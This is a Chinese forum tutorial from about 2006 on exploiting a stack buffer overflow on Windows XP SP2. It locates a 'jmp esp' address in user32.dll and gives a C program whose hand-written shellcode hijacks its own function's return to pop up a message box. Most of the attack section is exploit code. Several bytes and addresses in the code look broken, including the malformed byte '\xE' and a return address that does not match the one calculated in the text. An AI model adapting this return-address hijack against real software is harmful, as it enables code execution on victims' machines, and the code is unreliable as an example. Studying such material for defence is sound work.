一:缓冲区溢出是指当计算机程序向缓冲区内
填充的数据位数超过了缓冲区本身的容量,溢
出的数据覆盖在合法数据上,我们使用精心设
计的shellcode来覆盖合法的数据,从何使我们
的shellcode得到执行。
缓冲区溢出堆栈原理图:
http://bbs.pediy.com/upload/2006/20/image/stack.jpg
二:需要解决的几个小问题:
2.1缓冲区溢出后,用“jmp esp“指令地址覆
盖原来的函数返回地址,执行jmp esp后,ip指
针便指向缓冲区中我们的shellcode了,到哪去
找“jmp esp“的地址呢?我们想到了windows
的动态连接库user32.dll,我们在user32.dll
中找一个“jmp esp“指令的地址不就行了吗.


2.2将user32.dll载入ue,查找 FF E4,可能有人会问,你怎么知道jmp esp的机器码是FF E4?那好,我们来动手找出它来,编一个asm程序:
==========================
.386
.model flat,stdcall
option casemap:none
include   d:\masm32\hd.h
.code
start:
jmp esp
end   start
===========================
ml /c /coff /Cp jmp_esp.asm
link /subsystem:windows jmp_esp.obj
我用masm编译的,编译后用od载入,
http://bbs.pediy.com/upload/2006/20/image/od.jpg_252.jpg
~嘿嘿,办法超级笨,高手莫笑。
2.3确定FF E4在user32.dll中的偏移地址
2.3.1用ue打开user32.dll查找FF E4,
http://bbs.pediy.com/upload/2006/20/image/ue.jpg
2.3.2用peditor r载入user32.dll,选择右侧的FLC,在offset处填上我们用ue查出来FF E4在文件中的偏移量,peditor自动计算出FF E4的virtual address,77 d2 74 47。
嘿嘿~,偷懒的办法,你也可以自己动手计算。
http://bbs.pediy.com/upload/2006/20/image/ped.jpg
2.3.3动手计算:Va=16847h+77D10000h+c00h=77D27447,原理图如下:
http://bbs.pediy.com/upload/2006/20/image/rav.jpg 
三.解决了以上几个小问题后,结合缓冲区溢出堆栈原理图和一个本地溢出的程序,使用vc7.0反汇编调试一下,进一步动手实践。
给出我用来调试的程序:
#include <string.h>
#include <stdio.h>
#include <windows.h>
#define JUMPESP "\x28\x59\xD8\x77"//user32.dll中jmp esp指令的偏移量
unsigned char eip[8] = JUMPESP; 
unsigned char sploit[] = 
{              
"\x60"         
"\x8B\xEC"        
"\x83\xEC\x54"      
"\x33\xC9"        
"\xC6\x45\xDB\x75" 
"\xC6\x45\xDC\x73"    
"\xC6\x45\xDD\x65"  
"\xC6\x45\xDE\x72"   
"\xC6\x45\xDF\x33"   
"\xC6\x45\xE0\x32"  
"\xC6\x45\xE7\x2E"    
"\xC6\x45\xE\x64"    
"\xC6\x45\xE9\x6C"   
"\xC6\x45\xEA\x6C"   
"\x88\x4D\xEB"       
"\x8D\x45\xDB"       
"\x50"            
"\xB8\x77\x1D\x80\x7C"  
"\xFF\xD0"          
"\x55"            
"\x51"            
"\x8B\xEC"          
"\x83\xEC\x54"       
"\x33\xC9"          
"\xC6\x45\xEC\x53"    
"\xC6\x45\xED\x75"    
"\xC6\x45\xEE\x63"    
"\xC6\x45\xEF\x63"    
"\xC6\x45\xF0\x65"    
"\xC6\x45\xF1\x73"    
"\xC6\x45\xF2\x73"   
"\x88\x4D\xF3"       
"\xC6\x45\xF4\x57"    
"\xC6\x45\xF5\x65"   
"\xC6\x45\xF6\x20"    
"\xC6\x45\xF7\x47"    
"\xC6\x45\xF8\x6F"   
"\xC6\x45\xF9\x74"   
"\xC6\x45\xFA\x20"   
"\xC6\x45\xFB\x49"  
"\xC6\x45\xFC\x74"   
"\xC6\x45\xFD\x21"    
"\x88\x4D\xFE"       
"\x51"            
"\x8D\x45\xEC"       
"\x50"            
"\x8D\x45\xF4"       
"\x50"            
"\x51"            
"\xB8\xEA\x04\xD5\x77"   
"\xFF\xD0"          
"\x33\xDB"         
"\x53"                                          
"\xB8\xA2\xCA\x81\x7C"   
"\xFF\xD0"          
"\x8B\xE5"          
"\x61"

};
int  MyCopy( char* str )
{
 char buff1[50];
 strcpy(buff1,str);
 return 1; 
}
int main()
{
HINSTANCE u32=NULL;
u32=LoadLibrary("user32.dll");
if(u32==NULL)
{
   printf("cann't load user32.dll");
}
 char Buff[1024];
 memset(&Buff,0,sizeof(Buff));
 for(int i=0;i<56;Buff[i++]=0x90);
 strcpy(Buff+56,(char *)eip);//
 strcpy(Buff+60,(char *)sploit);//
 MyCopy(Buff);
 printf("\n successed \n");
 return 0;
}
调试步骤:
3.1在vc7.0中按下 F11
3.2 在发生溢出的函数MyCopy那里下个断点(按下F9).
http://bbs.pediy.com/upload/2006/20/image/vc71.jpg
==================================================================
3.3    按F11单步进入。
==================================================================
http://bbs.pediy.com/upload/2006/20/image/vc72.jpg
3.3
http://bbs.pediy.com/upload/2006/20/image/vc73.jpg
http://bbs.pediy.com/upload/2006/20/image/vc74.jpg
注意esp,ebp的变化
3.4 ret后就来到我们的shellcode了。
http://bbs.pediy.com/upload/2006/20/image/vc75.jpg       http://bbs.pediy.com/upload/2006/20/image/vc76.jpg 
程序在winxp_sp2下vc7.0编译通过,如果你的操作系统不是winxp_sp2,需要修改shellcode中调用的api的偏移地址。
第一次写东西有点乱,请大家多多包涵,有不对的地方请指教。